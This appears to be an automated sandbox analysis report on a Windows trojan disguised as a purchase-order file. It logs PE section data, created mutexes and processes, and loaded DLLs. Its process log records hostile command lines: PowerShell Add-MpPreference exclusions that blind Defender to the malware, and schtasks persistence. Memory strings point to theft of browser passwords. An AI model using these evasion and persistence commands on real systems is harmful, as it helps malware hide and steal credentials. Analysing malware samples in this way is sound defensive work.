Source: GoogleUpdateComRegisterShell64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateCore.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateOnDemand.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: PerceptionSimulationService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MsSense.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SensorDataService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Spectrum.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssh-agent.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: TieringEngineService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AgentService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: RFQ_PO N89397-GM7287-Order.bat.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: YRtQgzFlDnVSru.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: Section: .rsrc ZLIB complexity 0.9989003576744956
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: Section: .rsrc ZLIB complexity 0.9989003576744956

Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.raw.unpack, kAOj1Y7pfP90kycNNw.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.raw.unpack, kAOj1Y7pfP90kycNNw.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@36/178@44/6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 42_2_004019F0 OleInitialize,_getenv,CreateToolhelp32Snapshot,Module32First,CloseHandle,_malloc,_memset,_memset,_malloc,_memset,LoadLibraryA,SafeArrayDestroy,

42_2_004019F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 9_2_00F6CBD0 StrStrIW,StrStrIW,CloseServiceHandle,OpenServiceW,StrStrIW,ChangeServiceConfigW,StrStrIW,StrStrIW,CloseServiceHandle,StartServiceW,

9_2_00F6CBD0

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

File created: C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

File created: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7556:120:WilError_03
Source: C:\Windows\System32\alg.exe	Mutant created: \BaseNamedObjects\Global\Multiarch.m0yv-f1a1dcf99c90d8299ea72c54-b
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-f1a1dcf99c90d829-inf
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Mutant created: \Sessions\1\BaseNamedObjects\eRbCIIGBDGKZR
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-f1a1dcf99c90d8299e7986a9-b

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

File created: C:\Users\user\AppData\Local\Temp\tmpE707.tmp

Jump to behavior

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: vbc.exe, 00000009.00000002.2696625029.0000000007915000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2696625029.00000000078E6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2696625029.00000000078F4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2696625029.00000000078D6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2696625029.0000000007909000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.00000000078A6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.00000000078B6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.00000000078E5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2688454630.00000000087CB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.00000000078D9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.00000000078C4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: RFQ_PO N89397-GM7287-Order.bat.exe

ReversingLabs: Detection: 28%

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

File read: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe"
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
Source: unknown	Process created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Source: unknown	Process created: C:\Windows\System32\alg.exe C:\Windows\System32\alg.exe
Source: unknown	Process created: C:\Windows\System32\AppVClient.exe C:\Windows\system32\AppVClient.exe
Source: unknown	Process created: C:\Windows\System32\FXSSVC.exe C:\Windows\system32\fxssvc.exe
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Source: unknown	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Source: unknown	Process created: C:\Windows\System32\msdtc.exe C:\Windows\System32\msdtc.exe
Source: unknown	Process created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe
Source: unknown	Process created: C:\Windows\SysWOW64\perfhost.exe C:\Windows\SysWow64\perfhost.exe
Source: unknown	Process created: C:\Windows\System32\Locator.exe C:\Windows\system32\locator.exe
Source: unknown	Process created: C:\Windows\System32\SensorDataService.exe C:\Windows\System32\SensorDataService.exe
Source: unknown	Process created: C:\Windows\System32\snmptrap.exe C:\Windows\System32\snmptrap.exe
Source: unknown	Process created: C:\Windows\System32\Spectrum.exe C:\Windows\system32\spectrum.exe
Source: unknown	Process created: C:\Windows\System32\OpenSSH\ssh-agent.exe C:\Windows\System32\OpenSSH\ssh-agent.exe
Source: unknown	Process created: C:\Windows\System32\TieringEngineService.exe C:\Windows\system32\TieringEngineService.exe
Source: unknown	Process created: C:\Windows\System32\AgentService.exe C:\Windows\system32\AgentService.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\System32\vds.exe C:\Windows\System32\vds.exe
Source: unknown	Process created: C:\Windows\System32\wbengine.exe "C:\Windows\system32\wbengine.exe"
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmp15E7.tmp"
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmp15E7.tmp"
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
